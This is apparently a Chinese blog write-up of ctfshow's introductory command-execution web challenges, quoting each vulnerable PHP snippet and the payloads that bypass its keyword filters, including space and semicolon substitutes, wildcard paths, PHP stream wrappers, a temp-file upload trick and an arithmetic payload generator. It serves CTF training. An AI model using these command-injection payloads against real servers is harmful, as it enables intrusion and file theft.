命令执行web入门

web31

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

其中有一部分:

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

通过GET传参的方式传入c,传入c的内容中过滤掉了flag system php cat sort shell 英文句号(.) 空格( ) 单引号(')。那么我们可以找一些和他们功能相似的命令。
比如:
system()功能相似的命令有exec()passthru()shell_exec()
与cat命令功能相似的命令:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

空格被过滤掉可以用%09代替。
我们get传入**?c=passthru(“ls”);**
31
然后重新传入**?c=passthru(“tac%09fla*”);得到flag。
还可以:
1 >使用eval嵌套。具体参数:passthru 结合%09
其中%09绕过空格 ?c=eval($_GET[1]);&1=passthru("tac%09fla
"); 这里需要注意括号的闭合,&的连接。
2> 使用pos(localeconv)来获取小数点
localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。 ?c=print_r(scandir(pos(localeconv()))); 可以看到当前目录下有flag.php 通过
array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后*?c=show_source(next(array_reverse(scandir(pos(localeconv())))));**

web34

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

可以看到,被过滤的更多了

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

用php伪协议:
传入**?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php**
得到一串base64加密过的值:
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ODUxZjI3ZjgtNWY5Yy00YTZhLTg5NjctNjIwMzUwNDhmZWMwfSI7DQo=
,然后开始解密得到

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:49:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$flag="ctfshow{851f27f8-5f9c-4a6a-8967-62035048fec0}";

web 39

 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){   //过滤flag
        include($c.".php");   //添加后缀.php,无回显
    }
        
}else{
    highlight_file(__FILE__);
} 

过滤了flag,采用文件包含的方式,利用data伪协议:传入**?c=data://text/plain,<?= system("tac fla\g.php");?>**
得到flag。

web 40

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

过滤了冒号,不能用伪协议了,没有过滤英文状态的**()** 和**;**可以试试用无参函数:
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

c=highlight_file(next(array_reverse(scandir(dirname(FILE)))));
show_sourcehighlight_file 可以互换。
得到flag。

web42

 <?php
 
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 
>/dev/null 2>&1

默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”。要想绕过这个“黑洞“,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞。

所以构造 :
?c=ls;ls(第二个参数可以写可以不写,但一定要加分号。代表分号前面是第一个参数。)
接着看到flag.php,然后构造
?c=tac flag.php;
得到flag。
42
关于linux中>/dev/null 2>&1和2>&1 > /dev/null点击链接

web43

与web42相比,就多过滤了分号和cat。

分号的代替:
%26 %0a ||
cat的代替就很多了:
tac tail nl sort uniq head more less等
构造:
?c=tac flag.php%0a
得到flag。
43

web44

构造?c=tac fla\g.php%0a
flag被过滤,用fla?.php或fla*或fla\g.php
44

web45

空格被过滤了

空格的代替:
%09
%20
$IFS
${IFS}
$IFS$9
<
<>

构造:
?c=tac%09fl\ag.php%26
45

web46

新过滤了*$和数字
仍然可以构造?c=tac%09fl\ag.php%26其中%09,%26不受数字被过滤的影响,因为在加载时%09,%26会被解码为空格和分号,也就没有了数字。

web47

仍然可以构造?c=tac%09fl\ag.php%26

web48

仍然可以构造?c=tac%09fl\ag.php%26

web49

仍然可以构造?c=tac%09fl\ag.php%26

web50

过滤了\x09和\x26,是十六进制,相当于过滤了把%09和%26url解码后的\t和&。
那么用nl构造?c=nl<>fl\ag.php%0a查看源码得到flag。
50

web51

用nl构造?c=nl<>fl\ag.php%0a查看源码得到flag。

web52

过滤了<>,放开了$。
构造
51
显示假的flag。
52

构造

52

没有flag。
加个反引号构造

52
假的flag
52

打开根目录查看:

52

52

等价于?c=ls /;其中“/”是根目录。说明flag在根目录下
移动flag到吧.txt文件中,构造:
52
查看b.txt
52
得到flag。
52

web53

把tac过滤掉了,使用tac时用t\ac不就行了吗?
构造:ls%0a
53
构造:ta\c${IFS}fl\ag.php%0a得到flag。
53

web54

好奇怪

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);//|.*c.*a.*t.*|的意思是cat 和cat之间插入字符都被过滤了,相当于引号绕过用不了了c""at也会被过滤
    }
}else{
    highlight_file(__FILE__);
} 

?c=ls%0a查看一下,
54
/?c=t''ac${IFS}fl??.php%0a无回显。那就将flag.php的名字改一下,?c=mv${IFS}fla?.php${IFS}c.txt查看c.txt得到flag。
54

web55

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

这下好了,过滤了字母,但是数字没有过滤,数字?64?用base64加密内容。原内容为/bin/base64 flag.php过滤了字母?用?代替,然后为:/???/????64 ????.???
55
解密后得到
55
知识点:
可以匹配到/bin目录下的命令

cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

方法二

参考的wp,有用bzip2的命令的。请参考这里

命令名称:bzip2
命令全称:a block-sorting file compressor
执行权限:所有用户
所在路径:/usr/bin/bzip2
功能描述:压缩文件

我们可以通过该命令压缩flag.php 然后进行下载
payload:?c=/???/???/???2 ???.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php

方法三

前提是 题目没有过滤 ? / . (问号,斜杠,点),就可以使用这个方法进行RCE

编写 本地文件上传的网页:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://0bb2c3a2-2646-491d-80fa-52c6bee9decc.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。至于后面为什么要加[@-[],是为了匹配到文件的最后一个字母的大写

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
构造poc执行命令

?c=.+/???/???[@-[]

注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
55

web57

这里的字母和数字都被过滤了,题目说传入一个36,就可以得到flag。
57那应该怎么传入一个36呢?
因为是在shell环境下的,所以需要使用linux shell的一些特性:

$(())代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))再对-2做一次取反得到1,所以值为1
如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
那么最后只需要37个-1相加再取反即可。
写个脚本生成payload:

data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

57
传参后查看源码:
57

web58

这次是post传入一个c,不妨用蚁剑试试?

58
58
58

方法二
post传参:
传入c=passthru("ls");``c=system("ls");等,发现我试的系统命令都被过滤了。
58
这里补充一些读取文件的函数的用法:

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

我用一下c=echo file_get_contents("flag.php");,得到了flag。

web59

同上题,但这题file_get_contents被过滤了,我试了一下c=show_source("flag.php");得到flag。
59
也可以使用include()文件包含:

//POST传入:
c=echo include($_GET[1]);
//url连接:
/?1=php://filter/convert.base64-encode/resource=flag.php

之后base64解密得到flag。

web71

刚打开看到
71
post传去一个试试,c=include('flag.php');,结果都被通配符占领了。
71
为什么呢?参考wp之后发现大家的都是给出index.php。

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?

这样看的话[0-9][a-z]都被过滤了。怪不得

$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。

可以不让他执行后面的内容,这样就不会被过滤了。利用exit();直接停止后面的程序。然后执行c=include('/flag.txt');exit();拿到flag。
71

知识点

php中ob函数的用法

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值